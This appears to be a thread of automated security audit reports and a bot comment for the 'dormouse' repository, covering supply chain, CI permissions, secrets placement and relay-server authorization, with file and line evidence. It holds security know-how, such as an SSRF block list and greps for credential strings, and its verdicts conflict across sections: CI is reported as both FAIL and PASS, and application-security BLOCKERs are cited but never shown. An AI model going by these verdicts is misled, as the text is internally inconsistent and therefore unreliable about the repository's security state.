• PASS — server/src/config.ts:64: const bindHost = env.DORMOUSE_BIND_HOST?.trim() || undefined; — unset default is undefined (listen on every interface), matching the documented container-friendly default. Did not execute server/test/bind-host.test.mjs (test-runner not invoked in this audit) but confirmed its existence at that path and that it is exercised as part of the normal test suite; treating its content as UNVERIFIED-BY-EXECUTION but the source-level default matches the spec.
• PASS — install-macos.sh:240-257: if EXISTING_ORIGIN is set and differs from the freshly-derived ORIGIN, the script dies with an explicit explanation rather than rewriting config/server.env.
• PASS — manage verify's Funnel check (lines 736-743) greps 'funnel on' (case-insensitive) across both ts serve status and ts funnel status output combined, and fails if found — the "node-scoped, not origin-scoped" blunt test the spec describes.

What crosses the boundary (lines 88-91)

• PASS — server/src/push-endpoint.ts: isPublicHttpsPushEndpoint rejects non-https:, credentialed URLs, localhost/.localhost, and any non-public IP literal at registration (lines 92-103); createPublicLookup/createPublicPushAgent (lines 128-156) are the connection-time DNS lookup used by the delivery agent, rejecting the whole hostname if any resolved address is blocked (addresses.find(...) at line 139, not every) — closing the "resolve IPv6-public but connect IPv4-private" bypass class. 100.64.0.0/10 (CGNAT) is explicitly in the IPv4 block list (line 32), confirming the SSRF concern named in the spec is closed.
• PASS — app.post(API_ROUTES.pushSend, requireHost, ...) (app.ts:584-620): c.get('host').hostId (from the verified bearer token via requireHost, not the request body) is what scopes currentPushSubscriptionsForHost. devicePublicKeys is required non-empty (!Array.isArray(names) || names.length === 0 || ... → 400, lines 595-598). pushSubscriptions (app.ts:542-569, the one read endpoint that could leak on a caller-supplied key) explicitly does not filter by a caller-supplied devicePublicKey — the comment at lines 543-546 states this is deliberate, to avoid an enumeration primitive; it lists every subscription belonging to the account's own session instead.
• PASS — Both Host (lib/src/remote/host/push-delivery.ts, confirmed by grep match) and Server (app.ts:610-614) call the shared boundedPushText from server-lib-common/src/security/push.ts:143-161.
• PASS — server/src/relay.ts: before authorization, onClientFrame (lines 221-299) only forwards pair/connect/connect2 to the Host (via #toHost), each independently checked (checkPair/checkConnect2 through HandshakeGate, or unconditionally-safe connect which only pings for a challenge); msg is blocked unless client.established && client.hostId !== null (lines 288-294). onHostFrame's msg case is blocked unless client.established && client.hostId === host.hostId (lines 168-173), and the whole handler no-ops unless this.#hosts.get(host.hostId) === host (line 121, guards against a displaced/stale socket) and client.hostId === host.hostId (line 132, guards against a client that switched hosts mid-flight).

Cloud-hosted mode (staged) (line 119)

• PASS — SELFHOST_ACCOUNT_ID = 'owner' (server-lib-common/src/remote/wire.ts:67) is the only account ID ever minted or checked: server/src/state.ts:140 (account creation), app.ts:271,313,378 (setup/signin responses and session minting), handshake.ts:132,189 (both checkPair and checkConnect2 reject any accountId !== SELFHOST_ACCOUNT_ID). Full route inventory of server/src/app.ts (16 routes) shows only setupBegin/setupFinish (password-gated) and signinBegin/signinFinish (passkey-gated) — no self-serve signup path exists.

Qualitative findings

INFO — No BLOCKER or WARNING findings. Every FAIL IF in the Remote Control section evaluated to PASS with direct source evidence (file + line). The design consistently double-defends: the Host never trusts a Server-relayed shape without re-validating it locally (isPairingRequest, authorizeConnection's independent verification of passkey/device/ACL), and the Server's own checks (checkPair/checkConnect2 in handshake.ts) are explicitly documented and observed to be a pre-filter, not a substitute for the Host's final decision — matching the "Server compromise buys no Host access" claim.

INFO — adversarial trace, ACL-write reachability. Traced every writer of HostAcl/the persisted ACL file: (1) PairingCeremony.approve, reachable only via a human clicking Approve in the Host's own UI (#approvePairing / #approve, both re-verifying pairingId); (2) adopt, bounded to a first-run migration with an empty existing store, an allowlisted serverUrl, and full shape validation — explicitly not a second authorization path, since it can never touch a Host that already has an enrollment. No other writer exists in the traced code. A compromised webview can trigger an approval (send the approve command) but cannot fabricate the underlying ticket or bypass the pairingId match, and a compromised Server can push a hostile pair frame but it lands as an unapproved, shape-validated, label-bounded ticket sitting in front of a human, not an ACL write.

INFO — credential exposure sweep. Grepped lib/src/host/remote/, lib/src/remote/host/, and server/src/ for any console.* call whose text mentions token/password/secret/privateKey/hostToken — zero matches. hosts.json (hostToken plaintext) and vapid.json (private key) both go through writeAtomic at 0o600/0o700. No secret value was observed printed in any code path reachable during this review.

INFO — challenge/domain separation. HostChallengeIssuer.consume (challenge.ts:57-62) deletes on first read regardless of expiry outcome — genuinely single-use. deviceAuthPayload and pushSubscribePayload use distinct domain tags (dormouse/device-auth/v1 vs dormouse/push-subscribe/v1), with an explicit comment explaining why they must differ (a challenge the Server sees in transit during connect must not be replayable as a push-subscribe signature). This directly answers the "can a signature captured in one protocol context be replayed in another" question in the negative.

INFO — untrusted-input handling. verifyDeviceChallengeSignature, verifyDevicePayload, and verifyPushSubscribeSignature all catch decode/import errors internally and return false rather than throwing/rejecting unhandled — malformed base64url, garbage keys, and garbage signatures all degrade to an ordinary denial rather than a crash. isPairingRequest and isHostAclRecord both bound every string field's length (PAIRING_FIELD_LIMIT = 1024) or type before anything downstream (approval UI, persisted record) sees the value, closing the "megabyte string" and malformed-row classes of hostile input. PairingCeremony also caps its ticket count (MAX_PENDING_TICKETS = 64) and ages out entries, bounding memory a hostile relay could otherwise grow unbounded by flooding pair frames.

INFO — spec-vs-code drift. No drift found between docs/specs/remote-security-model.md / docs/specs/server.md and the shipped code for anything checked in this pass (challenge domain separation, adopt bounding, ACL write path, redirect handling, push SSRF defenses, relay frame gating, setup-password hardening, bind-host default). The two accepted gaps named in SECURITY.md — no revocation propagation mechanism and no audit trail — were confirmed still true by inspection (HostAcl.revokeDevice/revokePasskey exist in acl.ts with no call sites found anywhere outside their own test file) and are not re-reported as findings per the shared-preamble instruction.

INFO — command construction sweep (repo-wide qualitative scope). Grepped for shell: true and raw exec/spawn usage across dor/, dor-lib-common/, standalone/, and vscode-ext/. dor-lib-common/src/spawn.ts:41 uses spawn(binary, args, {...}) with an argument array (no shell interpolation). No shell: true usage found in any application source (lib/, server/, standalone/, vscode-ext/, dor/, dor-lib-common/) — the four matches for shell: true repo-wide are all inside node_modules/ or scripts/dogfood-vscode.mjs (a local dev convenience script, not shipped). No obvious shell-injection surface was found in the areas reached by this pass.

No area was marked UNVERIFIABLE. The one item not independently executed (server/test/bind-host.test.mjs) was checked at the source level (the config default it is meant to pin) rather than by running the test suite; this is noted above rather than hidden.

Summary

Overall verdict: FAIL

The CI-and-secrets domain found a direct violation of an explicit FAIL IF: the repository's default_workflow_permissions is write (not read) and can_approve_pull_request_reviews is true (not false), verified via GH_TOKEN=$AUDIT_PAT gh api repos/diffplug/dormouse/actions/permissions/workflow. SECURITY.md calls this setting the backstop for every other permission bullet in the document, and the audit found a live instance of exactly the gap it exists to prevent: tend-mention.yaml's verify job declares no permissions: block at all (unlike its sibling jobs relay and handle, which do), so its ambient GITHUB_TOKEN is minted at the permissive repository default rather than a scoped grant, in a job that processes attacker-influenceable content (issue/comment/review bodies). The supply-chain and application-security domains both reported PASS with no BLOCKER findings.

• Supply chain: PASS — all 8 FAIL IF checks pass with concrete evidence; only INFO-level qualitative findings.
• CI and secrets: FAIL — default_workflow_permissions/can_approve_pull_request_reviews violate the stated backstop, with a live consequence in tend-mention.yaml's verify job; one WARNING (ambiguous ownership of .vscode//.impeccable/ in the qualitative-scope enumeration, no live exposure found).
• Application security: PASS — all Remote Control FAIL IF checks pass with source-level evidence; adversarial qualitative pass found no BLOCKER.

[dormouse-bot]

Second run today, and the two BLOCKERs are unchanged from this morning's analysis — still the one admin toggle (default_workflow_permissions → read, can_approve_pull_request_reviews → false), which also clears the tend-mention.yaml verify finding at the root. That question and the cross-repo filing ask are both still open for you; nothing on my side moved them.

What is new in this run is two documentation findings, and those I could act on: #449 fixes both. .vscode/ and .impeccable/ were in no domain's qualitative scope (the WARNING) — the fix names them in the two audit subagent prompts, since that FAIL IF reads the prompts rather than SECURITY.md's restatement of them. And the supply-chain prose named five roots where productDependencyFilters has six (the INFO); the code is right, because vscode-ext imports the lib through relative paths rather than declaring a dependency on it, so dormouse-lib is genuinely a root and not an edge.

Neither is a live exposure and neither changes this run's verdict — but both would have been re-reported by every future audit.

[github-actions]

Audit failed at 2026-08-27T05:49Z. Run · Transcript

• A domain returned FAIL. audit-application.md opened with VERDICT: FAIL — read that domain's section first. A domain's own verdict outranks the merged one.

Security audit

Supply chain

VERDICT: PASS

Supply Chain Audit

Scope: ## Dependency Supply Chain only (SECURITY.md lines 127-156).

FAIL IF results

1. PASS — node website/scripts/generate-deps.js produces no diff against a clean tree. Ran pnpm install --frozen-lockfile (Already up to date, 451ms), then the generator (wrote 48 npm deps, 13 direct + 474 transitive Cargo deps, 1 bundled runtime). git status --porcelain -- website/src/data/ and git diff --stat -- website/src/data/ were both empty before and after. Tree left clean.

2. PASS — .github/workflows/ci.yml lines 39-46 (Dependency disclosure is current step) runs node website/scripts/generate-deps.js after pnpm install --frozen-lockfile (line 25), then git diff --quiet -- website/src/data/, printing ::error:: and exit 1 on a diff.

3. PASS — Derived from pnpm-workspace.yaml (11 packages: canopy, dor, dor-lib-common, lib, server, server-lib-common, standalone, standalone/sidecar, vscode-ext, website), independently of the spec's own enumeration. Resolved each directory's package name via its package.json:

   • Roots (6, matching productDependencyFilters): dor→dir dor, dormouse→dir vscode-ext, dormouse-standalone→dir standalone, dormouse-lib→dir lib, dormouse-sidecar→dir standalone/sidecar, server→dir server.
   • Edges reached from those roots (2): dor-lib-common is a real dependencies entry of both dor and lib; server-lib-common is a real dependencies entry of both lib and server (confirmed by reading each package.json's dependencies block directly).
   • Excluded with stated reasons (2): canopy (Storybook-only; its only non-registry lockfile entry, @diffplug/xterm-addon-webgl-sdf, is declared solely in canopy/package.json — confirmed with grep -rl), website→package name dormouse-website (runs in a visitor's browser, never installed; its own package.json scripts only build/serve, nothing installs it on a user's disk).
   • Confirmed vscode-ext/package.json declares only node-pty and ws as dependencies (no dormouse-lib), which is exactly why dormouse-lib must be named as its own root rather than relying on vscode-ext's dependency walk to reach it — matches the doc's stated rationale.
     All 10 non-canopy packages accounted for; none missing from both roots and exclusions.

4. PASS — Root package.json: devEngines.runtime.version = "24.18.0" — an exact MAJOR.MINOR.PATCH, not a bare major. engines and volta keys are absent.

5. PASS — standalone/src-tauri/build.rs: verify_node_version (line 191) runs node --version on the binary about to be bundled and errors on any mismatch against the devEngines.runtime.version pin (read_pinned_node_version, lines 157-189, independently validates the exact-version format). The one skip is exactly the documented one: if host != target (line 197) emits a cargo:warning and returns Ok(()), justified by inability to execute a foreign-arch binary. Checked release.yml's build-standalone matrix (lines 26-36): ubuntu-22.04→x86_64-unknown-linux-gnu, macos-latest→aarch64-apple-darwin, windows-latest→x86_64-pc-windows-msvc — all three are host-native for their runner (ubuntu/windows runners are x86_64, and macos-latest is Apple Silicon), so no cross-compiled target exists in the release matrix and the skip is never exercised there.

6. PASS — release.yml's build-standalone, build-vscode, and publish-vscode jobs all install Node via actions/setup-node with node-version-file: package.json (lines 46-48, 180-182, 311-313). Root package.json has no volta or engines key, so setup-node's precedence resolution (volta.node → devEngines.runtime → engines.node) is guaranteed to read the pinned devEngines.runtime.version.

7. PASS — pnpm-workspace.yaml line 23: minimumReleaseAge: 1440 (top-level, present).

8. PASS — .github/renovate.json line 3: enabledManagers: ["github-actions", "npm", "cargo"] includes both npm and cargo. minimumReleaseAge package rules present for matchManagers: ["npm", "cargo"] at three update types: patch → "1 day" (line 104), minor → "3 days" (line 109), major → "14 days" (line 114).

9. PASS — .github/renovate.json lines 7-18: vulnerabilityAlerts block exists, enabled: true, and sets minimumReleaseAge: "1 day" explicitly (not omitted/inherited). Comment block in the file itself documents why omission would silently drop the cooldown.

10. PASS — gh api repos/diffplug/dormouse --jq .security_and_analysis (using AUDIT_PAT, since the default token lacked permission and returned nothing): secret_scanning.status: "enabled", secret_scanning_push_protection.status: "enabled". gh api repos/diffplug/dormouse/vulnerability-alerts -i returned HTTP/2.0 204 No Content (not 404), confirming Dependabot alerts are on.

Qualitative findings

• INFO — Checked every commit since the last audit window (since=2026-08-26T05:06:37Z, the previous FAIL run's creation time, via gh api repos/diffplug/dormouse/commits — local checkout is shallow at 1 commit, so the GitHub API was used instead of git log). 22 commits in the window, none of them Renovate dependency bumps. Confirmed by comparing the oldest commit's parent (4b5272b...) against HEAD (ef9b298...): the file-list diff contains zero matches for package.json, pnpm-lock.yaml, Cargo.toml, or Cargo.lock. No runtime dependency was added, removed, or upgraded in this window — consistent with the generator producing no diff (Check 1).

• INFO — Only one non-registry lockfile resolution exists in the whole repo: @diffplug/xterm-addon-webgl-sdf resolved from a GitHub Releases tarball URL (pnpm-lock.yaml line 649-650, matching AGENTS.md's description of the sdf-branch xterm.js fork). Confirmed via grep -rl that it is declared only in canopy/package.json, and its extracted node_modules/.pnpm/... entry has no other consumer — canopy is a deliberately-excluded, non-shipped Storybook lab per the spec's own text, so this is not a disclosure gap. All standalone/src-tauri/Cargo.lock entries resolve from the crates.io registry (grep -c "^source = \"git" → 0; no git = or local path = "../" entries in Cargo.toml).

• INFO — pnpm-workspace.yaml's allowBuilds permits install/build scripts for @swc/core, esbuild, node-pty, sharp, and explicitly denies keytar, @vscode/vsce-sign. Traced each with pnpm why and by reading the resolved package's own scripts:

  • node-pty@1.2.0-beta.15 is a genuine production dependency of dormouse (vscode-ext) and dormouse-sidecar — native PTY bindings, has real install/postinstall scripts (node-gyp rebuild fallback + post-install.js), and is already disclosed (present in dependencies-npm.json).
  • esbuild@0.28.2 is a devDependency everywhere it appears (canopy, dormouse-lib, dor, dormouse (vscode-ext), dormouse-standalone via Storybook/Vite tooling) — a build tool, not shipped to a user.
  • sharp@0.35.3 is a transitive production dependency of dormouse-website (via ascii-splash), used for build-time image processing on the marketing site; its resolved package.json today has no install/postinstall script at all (npm-scoped optional platform packages handle the native binary instead), so the allowBuilds entry is currently a no-op for this version. Website is deliberately excluded from disclosure (visitor's browser, nothing installed) — consistent with the spec's stated exclusion.
  • @swc/core appears in allowBuilds but does not resolve in the lockfile at all (grep -c "swc/core" pnpm-lock.yaml → 0) — harmless dead configuration, not a security issue, but a candidate for a maintainer cleanup pass (unchanged from the prior audit's same finding).
  • keytar/@vscode/vsce-sign are transitive devDependencies of extension-packaging tooling (@vscode/vsce/ovsx) and are correctly denied build-script execution.
  • Re-ran pnpm install --frozen-lockfile after all of the above; it reported no pending/ignored build-script warnings, confirming no package with an install script is un-triaged by allowBuilds.
  • One workspace-internal postinstall exists outside allowBuilds's scope: vscode-ext/package.json's own postinstall runs chmod +x node_modules/node-pty/prebuilds/*/spawn-helper — a local permission fix on the already-vetted, already-disclosed node-pty prebuild, not a third-party install script. Benign.

• INFO — No newly added or upgraded runtime dependency in the audit window introduces new install-script surface; no lockfile entry resolves outside the npm or cargo registries except the already-excluded canopy tarball; no reachable-but-undisclosed package was found. website/scripts/generate-changelog.js and website/scripts/flatten-react-router-build.js (the other scripts under website/scripts/, alongside generate-deps.js) were reviewed: both are pure local file operations (read CHANGELOG.md / copy build output directories) with no network calls or dependency-graph interaction, so they carry no supply-chain risk of their own.

No BLOCKER or WARNING findings.

CI and secrets

VERDICT: PASS

FAIL IF results

GitHub Actions Policies

• pull_request_target appears only in tend-review.yaml (line 11) — PASS. Grepped every file under .github/workflows/**; no other workflow uses it.
• Non-agent-managed workflows' effective write permissions — PASS. ci.yml (top-level contents: read, no job overrides), chromatic.yml (top-level contents: read, no override) grant nothing beyond read. release.yml: build-standalone and build-vscode jobs carry exactly contents: read, id-token: write, attestations: write (lines 21-24, 173-176), gated by the release-attest environment (admin-only v* tags); the security-audit job carries exactly contents: read, actions: write (lines 231-232, 240), matching the documented "Release audit dispatch" exception; publish-vscode has no permissions: block, so it inherits the workflow's top-level contents: read.

Automated Maintainer (tend)

• workflow-audit.yaml's lower bound (SINCE) is read from gh api .../workflows/workflow-audit.yaml/runs?status=success → .workflow_runs[0].created_at (lines 79-84, server-set), not from anything a pusher controls — PASS. (The known --since/committer-date evasion is separately documented in SECURITY.md as an accepted, unclosed gap — not a regression to flag.)
• Admin-gating rulesets — PASS. gh api repos/.../rulesets/16757376 ("Merge access"): conditions.ref_name.include: ["~DEFAULT_BRANCH"], rules: [{"type":"update"}] only, bypass_actors: [{"actor_id":5,"actor_type":"RepositoryRole","bypass_mode":"exempt"}] — sole bypass actor is admin. rulesets/16757382 ("Tag operations"): ref_name.include: ["~ALL"], rules: [{"type":"creation"},{"type":"update"}], same sole admin bypass actor.
• dormouse-bot permission level — PASS. gh api repos/.../collaborators/dormouse-bot/permission → "permission":"write", "role_name":"write", permissions.admin:false, permissions.maintain:false.
• Environment deployment-branch-policies vs. admin-gating — PASS for all four environments (gh api repos/.../environments/{name}/deployment-branch-policies): release-attest → v* tag only (Tag operations, admin-only); security-audit → main + v* tag (both admin-gated); tend → main only (Merge access, admin-only); vscode-extension-publish → v* tag only (Tag operations, admin-only), plus a required_reviewers protection rule requiring approval from nedtwigg or edgartwigg with prevent_self_review: true.
• Secret inventory placement — PASS on every clause. gh api repos/.../actions/secrets → repo-level secrets are exactly {CHROMATIC_PROJECT_TOKEN} (the one accepted repo-level exception per SECURITY.md's "Reachable repo-level secrets"). gh api repos/.../actions/organization-secrets → total_count: 0. Per-environment secrets: security-audit → {AUDIT_PAT, CLAUDE_CODE_OAUTH_TOKEN}; tend → {CLAUDE_CODE_OAUTH_TOKEN, TEND_BOT_TOKEN}; vscode-extension-publish → {OVSX_PAT, VSCE_PAT}; release-attest → {} secrets and {} variables. No ANTHROPIC_API_KEY at repo or org level. No org-level secret visible to this repo at all.
• CHROMATIC_PROJECT_TOKEN in .config/tend.yaml's secrets.allowed — PASS (.config/tend.yaml line 5).
• workflow-audit.yaml liveness — PASS. Enabled (on: schedule + workflow_dispatch), last successful run 2026-08-26T07:55:07Z per gh api .../workflows/workflow-audit.yaml/runs?status=success, current time 2026-08-27T05:33:40Z — ~21h38m elapsed, well inside the 48h bound.
• tend-*.yaml version pin — PASS. All eight tend-*.yaml files pin max-sixty/tend/claude@0.1.19 (grepped every file), matching or exceeding the required 0.1.19 floor.
• Unpinned action references in tend-*.yaml — PASS. Every tend-*.yaml uses actions/checkout@v7 and max-sixty/tend/claude@0.1.19 — version tags, not floating refs (@main/no version), which SECURITY.md explicitly accepts inside tend-*.yaml since the file is upstream-generated.
• Agent-managed workflow effective GITHUB_TOKEN permissions — PASS. Exhaustive grep for : write across .github/workflows/** shows every agent-managed workflow (tend-*.yaml, workflow-audit.yaml, security-audit.yaml) declares only contents:write, pull-requests:write, issues:write, actions:read, or id-token:write (the last only in security-audit.yaml). No deployments:write, checks:write, packages:write, or similar found anywhere.
• default_workflow_permissions / can_approve_pull_request_reviews — PASS. gh api repos/.../actions/permissions/workflow → {"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}.

VS Code Extension Releases

• vscode-extension-publish environment binding — PASS. release.yml's publish-vscode job (line 306-307) declares environment: {name: vscode-extension-publish}. Repo-wide grep for VSCE_PAT/OVSX_PAT under .github/workflows/** finds them only at release.yml:336 and :348, both inside that job.
• Desktop signing secrets / ephemeral updater key in CI — PASS. release.yml's build-standalone job generates an ephemeral key via tauri signer generate --ci --write-keys ... --force (lines 70-81) and exports it as TAURI_SIGNING_PRIVATE_KEY for that CI run only; no production signing secret (EV_SIGN_PIN, APPLE_SIGN_PASS, a persistent TAURI_SIGNING_PRIVATE_KEY) is referenced anywhere in .github/workflows/**.

Desktop Releases

• scripts/sign-and-deploy.sh verifies GitHub artifact attestations (gh attestation verify, lines 106, 393), verifies SHA-256 manifests (check_sha256_manifest/sha256sum -c, lines 359-368), and uses PIV-backed Windows signing (jsign --storetype PIV, lines 701-716) — PASS on all three.
• TAURI_SIGNING_PRIVATE_KEY on argv — PASS (not found). It is exported only as an environment variable at line 775 (TAURI_SIGNING_PRIVATE_KEY="$TAURI_SIGNING_PRIVATE_KEY" ...); grep for the string elsewhere in the script shows no --private-key/argv usage. EV_SIGN_PIN and APPLE_SIGN_PASS do appear on argv (--storepass, --password), which SECURITY.md names as the accepted, tool-forced exceptions — not this bullet's target.

Reporting a Vulnerability

• Private vulnerability reporting — PASS. gh api repos/.../private-vulnerability-reporting → {"enabled": true}.

CI Validation Contract

• security-audit.yaml as a release gate — PASS, all three parts present in release.yml's security-audit job: gh workflow run security-audit.yaml dispatch (line 271), gh run watch "$run_id" --exit-status (line 297), and publish-vscode's needs: [..., security-audit] (lines 301-304).
• Dedicated application-security subagent scoped to Remote Control only — PASS. .github/audit/application-security.md scope is exactly ## Remote Control; security-audit.yaml's --agents JSON (line 136) defines it as a separate subagent from supply-chain and ci-and-secrets, and orchestrator.md fans out to all three independently rather than merging scopes.
• Non-turn-ending wait with a persisted, re-issuable deadline — PASS. orchestrator.md §2 specifies a DEADLINE_FILE="$RUNNER_TEMP/audit-deadline" written once and read back on every re-issue (so the 25-minute bound accumulates rather than resetting), with an explicit instruction never to end the turn to await a completion notification.
• .github/audit/ prompt files present and scripts/security-audit-local.sh uses the same files — PASS. _preamble.md, orchestrator.md, supply-chain.md, ci-and-secrets.md, application-security.md all exist; security-audit-local.sh lines 29-31 hard-fail if any is missing and lines 66-69 run claude -p "$(cat _preamble.md; ...; cat $domain.md)" — the identical file content CI's --agents prompts point at.
• .github/audit/ and .vscode/ inside every workflow-audit.yaml window consumer — PASS. WINDOW=(.github/workflows/ .config/tend.yaml .github/audit/ .vscode/) (line 136) is the single source; the commit list (git log ... -- "${WINDOW[@]}", line 145-146), own_changes() (lines 288-297, uses "${WINDOW[@]}"), and both classifiers' refusal checks (WINDOW_NON_WORKFLOW="${WINDOW[@]:1}", used at lines 202 and 256) all derive from the same array.
• Section ownership (each ## heading owned by exactly one domain file) — PASS. SECURITY.md's eight ## headings: Remote Control → application-security.md; Dependency Supply Chain → supply-chain.md; GitHub Actions Policies, Automated Maintainer (tend), VS Code Extension Releases, Desktop Releases, Reporting a Vulnerability, CI Validation Contract → ci-and-secrets.md (this file). No heading is unclaimed or double-claimed.
• Union of qualitative scopes covers every top-level path — PASS. ls -A on repo root against the three domain files' stated ownership: ci-and-secrets claims .github/, .config/, .claude/, .vscode/, scripts/, website/public/; supply-chain claims the dependency graph/lockfile and all of website/ except website/public/; application-security claims everything else by subtraction (lib/, server/, server-lib-common/, standalone/, vscode-ext/, dor/, dor-lib-common/, canopy/, deploy/, docs/, .impeccable/, all root files). No top-level entry (checked against the actual ls -A output) is orphaned.
• Redact secrets from agent output step — PASS. Present (security-audit.yaml lines 194-238), covers audit-report.md, all three $AUDIT_FRAGMENTS, and the transcript ($TRANSCRIPT); fails closed with rm -f "$TRANSCRIPT" audit-report.md $AUDIT_FRAGMENTS; exit 1 on any redactor error (line 238).
• application-security on a stronger model in both places — PASS. security-audit.yaml's --agents JSON sets "model":"opus" only for application-security (line 136); security-audit-local.sh sets model_args="--model opus" only when domain = application-security (lines 60-61), --model sonnet otherwise.
• Reporting step writes one note per condition, not per combination — PASS. security-audit.yaml lines 441-453 build NOTES as independent if blocks (dissenting fragment, missing fragment, unreadable verdict, no-status-file), each appended unconditionally when its own condition holds, with no compound conditionals combining them.
• Fragment guards run unconditionally, not gated on status — PASS. Both the missing-fragment loop (lines 328-333) and the dissent-detection loop (lines 351-372) run unconditionally before STATUS is escalated; STATUS is assigned only at the case statement (line 289-292) and the single escalation block (lines 385-390).
• Verdict-line contract (VERDICT: PASS/VERDICT: FAIL, three-way handling) — PASS. orchestrator.md and _preamble.md both specify the exact first-line format; security-audit.yaml's dissent loop (lines 363-371) treats VERDICT: FAIL* as dissent, VERDICT: PASS* as silent agreement, and anything else as UNREADABLE_VERDICTS (not an unchallenged PASS).
• Orchestrator cannot report PASS while a subagent left no fragment — PASS. orchestrator.md §4 instructs writing no status file at all when a fragment is missing/empty and no domain failed, which the reporting step's MISSING_FRAGMENTS path (lines 328-333, 387-390) routes to MISSING/INCONCLUSIVE rather than PASS or an unwarranted FAIL.

Qualitative findings

No BLOCKER or WARNING findings in this domain's scope (.github/ including .github/audit/, .config/, .claude/, .vscode/, scripts/, website/public/).

INFO — .vscode/tasks.json contains a single build-dormouse-vscode task with no runOn trigger, so nothing executes on folder-open today; this is the expected state per ci-and-secrets.md's own note that the risk is a future addition, not a current one. Re-check this file specifically on future diffs.

INFO — .claude/settings.json grants a small, specific Bash allowlist (agent-browser, npx tsc, magick identify, pnpm test variants) and one MCP tool; nothing overly broad (no Bash(*), no --dangerously-skip-permissions-shaped settings, no hooks configured).

INFO — website/public/standalone-latest.json (the Tauri updater manifest, a release artifact per this domain's ownership) contains only a version, release notes URL, publish date, and three base64 Tauri updater signatures (public verification data, not secrets) for v1.1.0 — consistent with what CI publishes and nothing sensitive.

INFO — scripts/*.mjs/*.pl/*.sh other than sign-and-deploy.sh were grepped for TOKEN|SECRET|PASS|_KEY and none reference credentials, consistent with the release-signing secrets being isolated to the one script that needs them.

No evidence of drift between the CI workflow (security-audit.yaml) and the local runner (scripts/security-audit-local.sh) in model selection, prompt sourcing, or allowed-tools shape for this domain.

Application security

VERDICT: FAIL

Domain: application-security (SECURITY.md → ## Remote Control, plus the
catch-all remainder of the repository). Every FAIL IF in scope passes; the
FAIL comes from two BLOCKER findings in the qualitative pass, neither of which
SECURITY.md covers.

FAIL IF results

## Remote Control → Trust boundary

1. PASS — authorizeConnection verifies the passkey assertion. server-lib-common/src/security/connection.ts:117-122 calls verifyPasskeyAssertion(request.passkey.assertion, request.passkey.publicKey, {...host.policy, challenge: request.challenge}); failure pushes passkey-assertion-invalid at :143.
2. PASS — …the device-key signature. connection.ts:123-127 → verifyDeviceChallengeSignature({hostId, challenge, devicePublicKey}, request.deviceSignature); failure at :154.
3. PASS — …and the ACL. connection.ts:105-109 → host.acl.authorize({passkeyCredentialId, devicePublicKey}); misses appended at :145, plus passkey-key-mismatch (:147) and account-mismatch (:150).
4. PASS — …against the Host's own ConnectionPolicy. #policy is built in the RemoteHost constructor from options.enrollment only (lib/src/remote/host/remote-host.ts:163-170), never from a wire frame; enrollment comes from HostStateStore or performEnrollment.
5. PASS — …before any session is established. state.established = true is set only at remote-host.ts:530, after await authorizeConnection returns allowed, and #onMsg returns early without it (:542).
6. PASS — no Server-supplied claim substitutes for any of the three. The challenge is burned first (connection.ts:103), the presented passkey key is checked against the ACL's stored hash rather than accepted (:132-133, :147), and the Server's own checkConnect2 verdict is not carried in the frame the Host reads.
7. PASS — HostAcl.approve has exactly one caller: PairingCeremony.approve at server-lib-common/src/security/pairing.ts:258. Repo-wide grep for .approve( finds no other production call site.
8. PASS — approval is matched against the immutable pairingId, never a bare clientId: remote-host.ts:451 (state.pending.pairingId !== pairingId → return) and lib/src/host/remote/service.ts:270-276 (#pendingPairing throws unless both match).
9. PASS — RemoteHost's client map is capped: #evictOldestPairingIfFull (remote-host.ts:321-345) evicts oldest-first at MAX_PENDING_PAIRINGS, called at :440 before the insert at :441.
10. PASS — the service's mirrored queue is capped independently: service.ts:443-447.
11. PASS — the controller's eviction drops the record, not merely the request: remote-host.ts:341-342 deletes the map entry when it is neither established nor session-holding.
12. PASS — MAX_CLIENT_ID_LENGTH = 256 (remote-host.ts:125) is enforced at the frame boundary in #onFrame (:378), before any map is touched.
13. PASS — requireUserVerification is mirrored both ways: server/src/config.ts:75 reads DORMOUSE_REQUIRE_USER_VERIFICATION; server/src/app.ts:404 puts it on HostEnrollResponse; lib/src/remote/host/enrollment.ts:139-141 keeps it; remote-host.ts:169 lands it in ConnectionPolicy. The Server's own verifier reads the same flag (server/src/handshake.ts:213).
14. PASS — the Host shape-validates pair itself: remote-host.ts:408 calls isPairingRequest before the ceremony, answering malformed-request otherwise.
15. PASS — requestedLabel is reduced before any consumer: remote-host.ts:420 applies boundedPairingLabel (and :419 boundedPairingAccount) to build the request object that the ticket, the queue projection, the modal, and the ACL record all share.
16. PASS — no service→webview shape carries hostToken. lib/src/host/remote/service-protocol.ts: RemoteHostResult (:55) carries result/error; the only result values produced are EnrollResult {hostId, serverUrl} (:148), RemoteHostConsoleStatus (:157, five non-secret fields), PushDevicesResult (:175), PushSendSummary (:190), AdoptResult {persisted} (:136), PairingQueueItem[] (:69), {}. HostStatusEvent (:92) is {name, enrolled}; PairingQueueEvent (:81) carries only PairingRequests.
17. PASS — adopt is bounded on the service holding no enrollment: service.ts:317 + :324 (if (!existing && isEnrollment(params.enrollment))).
18. PASS — …on serverUrl being inside the baked allowlist: service.ts:329-334.
19. PASS — …and on every record passing the full shape guard and the hostId match: service.ts:339 → filterAclRecords → lib/src/remote/host/acl.ts:38-40 (isHostAclRecord(record) && record.hostId === hostId).
20. PASS — server-lib-common/src/security/ is the shared implementation across all three. Server: server/src/handshake.ts:26-34 and server/src/app.ts:30-46. Host: remote-host.ts:26-46. Pocket client: lib/src/remote/client/pocket-client.ts:18-57 (hashPasskeyPublicKey, signDeviceChallenge, signPushSubscribe).

## Remote Control → Where a Host may reach a relay server

21. PASS — DEFAULT_REMOTE_CONNECT_SRC is exactly https://*.dormouse.sh wss://*.dormouse.sh in scripts/csp-defaults.mjs:18.
22. PASS — …and identically in lib/src/host/remote/connect-src.ts:22. No localhost, no http/ws, no bare *, no apex dormouse.sh (the *. matcher at connect-src.ts:107-111 deliberately excludes the bare domain).
23. PASS — CONNECT_SRC_SOURCE_PATTERN is byte-identical in both (csp-defaults.mjs:26, connect-src.ts:73: /^((?:https?|wss?):)\/\/([^/:]+)(?::(\*|\d+))?$/i), and lib/src/host/remote/connect-src.test.ts:83,92-93 asserts the default and both source/flags.
24. PASS — assertConnectSrcBaked runs on the built bundle in standalone/scripts/build-sidecar-proxy.mjs:48.
25. PASS — …and in vscode-ext/scripts/esbuild.mjs on both branches: the watch branch at :63 (after an explicit ctx.rebuild() at :60) and the one-shot at :67.
26. PASS — resolveRemoteConnectSrc throws on an override the runtime matcher cannot parse: csp-defaults.mjs:51-59.
